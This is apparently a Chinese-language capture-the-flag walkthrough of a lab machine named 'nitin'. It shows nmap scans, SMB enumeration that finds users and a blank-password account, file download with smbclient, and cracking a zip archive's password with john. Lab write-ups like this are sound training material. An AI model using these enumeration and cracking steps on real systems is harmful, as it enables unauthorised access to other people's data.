└─# nmap -sV 192.168.5.135 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 19:34 CST Nmap scan report for 192.168.5.135 (192.168.5.135) Host is up (0.00012s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 2525/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) MAC Address: 00:0C:29:13:48:B6 (VMware) Service Info: Host: NITIN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 19:47 CST NSE: Loaded 11 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 19:47 Completed NSE at 19:47, 0.00s elapsed Initiating ARP Ping Scan at 19:47 Scanning 192.168.5.135 [1 port] Completed ARP Ping Scan at 19:47, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:47 Completed Parallel DNS resolution of 1 host. at 19:47, 0.01s elapsed Initiating SYN Stealth Scan at 19:47 Scanning 192.168.5.135 (192.168.5.135) [2 ports] Discovered open port 445/tcp on 192.168.5.135 Discovered open port 139/tcp on 192.168.5.135 Completed SYN Stealth Scan at 19:47, 0.15s elapsed (2 total ports) NSE: Script scanning 192.168.5.135. Initiating NSE at 19:47 Completed NSE at 19:47, 5.17s elapsed Nmap scan report for 192.168.5.135 (192.168.5.135) Host is up (0.00049s latency).
PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:13:48:B6 (VMware)
Host script results: |_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug) |_smb-vuln-ms10-061: false | smb-vuln-regsvc-dos: | VULNERABLE: | Service regsvc in Microsoft Windows systems vulnerable to denial of service | State: VULNERABLE | The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference | pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes | while working on smb-enum-sessions. |_
NSE: Script Post-scanning. Initiating NSE at 19:47 Completed NSE at 19:47, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 5.93 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
使用smbmap进行测试，发现可以匿名访问但无权限
1 2 3 4 5 6 7
└─# smbmap -H 192.168.5.135 1 ⨯ [+] Guest session IP: 192.168.5.135:445 Name: 192.168.5.135 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers IPC$ NO ACCESS IPC Service (nitin server (Samba, Ubuntu))
====================================== | Session Check on 192.168.5.135 | ====================================== [+] Server 192.168.5.135 allows sessions using username '', password ''
============================================ | Getting domain SID for 192.168.5.135 | ============================================ Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup
user:[smb] rid:[0x3e8] enum4linux complete on Sun Aug 29 20:11:41 2021
使用默认参数直接跑enum4linux 192.168.5.135
得到sagar、blackjax、smb这三个用户
经过测试只有smb这个用户的密码在不输入的情况能够读取。即smb用户是空密码。
1 2 3 4 5 6 7
└─# smbmap -u smb -H 192.168.5.135 [+] IP: 192.168.5.135:445 Name: 192.168.5.135 Disk Permissions Comment ---- ----------- ------- print$ READ ONLY Printer Drivers IPC$ NO ACCESS IPC Service (nitin server (Samba, Ubuntu))
使用smbclient登录进去,提示输入密码，直接回车
1 2 3 4
└─# smbclient //192.168.5.135/smb -U smb Enter WORKGROUP\smb's password: Try "help" to get a list of possible commands. smb: \>
使用ls列出文件
1 2 3 4 5 6 7 8
smb: \> ls . D 0 Mon Nov 4 19:50:37 2019 .. D 0 Mon Nov 4 19:37:28 2019 main.txt N 10 Mon Nov 4 19:45:38 2019 safe.zip N 3424907 Mon Nov 4 19:50:37 2019
9204224 blocks of size 1024. 6831688 blocks available
使用get下载这两个文件
1 2 3 4
smb: \> get main.txt getting file \main.txt of size 10 as main.txt (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec) smb: \> get safe.zip getting file \safe.zip of size 3424907 as safe.zip (65581.0 KiloBytes/sec) (average 57666.3 KiloBytes/sec)
┌──(root💀kali)-[~] └─# zip2john safe.zip > safepass 82 ⨯ ver 2.0 efh 5455 efh 7875 safe.zip/secret.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=60550, decmplen=62471, crc=6D48091C ver 2.0 efh 5455 efh 7875 safe.zip/user.cap PKZIP Encr: 2b chk, TS_chk, cmplen=3364011, decmplen=6920971, crc=717BA9D6 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. ┌──(root💀kali)-[~] └─# john safepass Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist hacker1 (safe.zip) 1g 0:00:00:00 DONE 2/3 (2021-08-29 21:06) 20.00g/s 1680Kp/s 1680Kc/s 1680KC/s fireballs..faithfaith Use the "--show" option to display all of the cracked passwords reliably Session completed
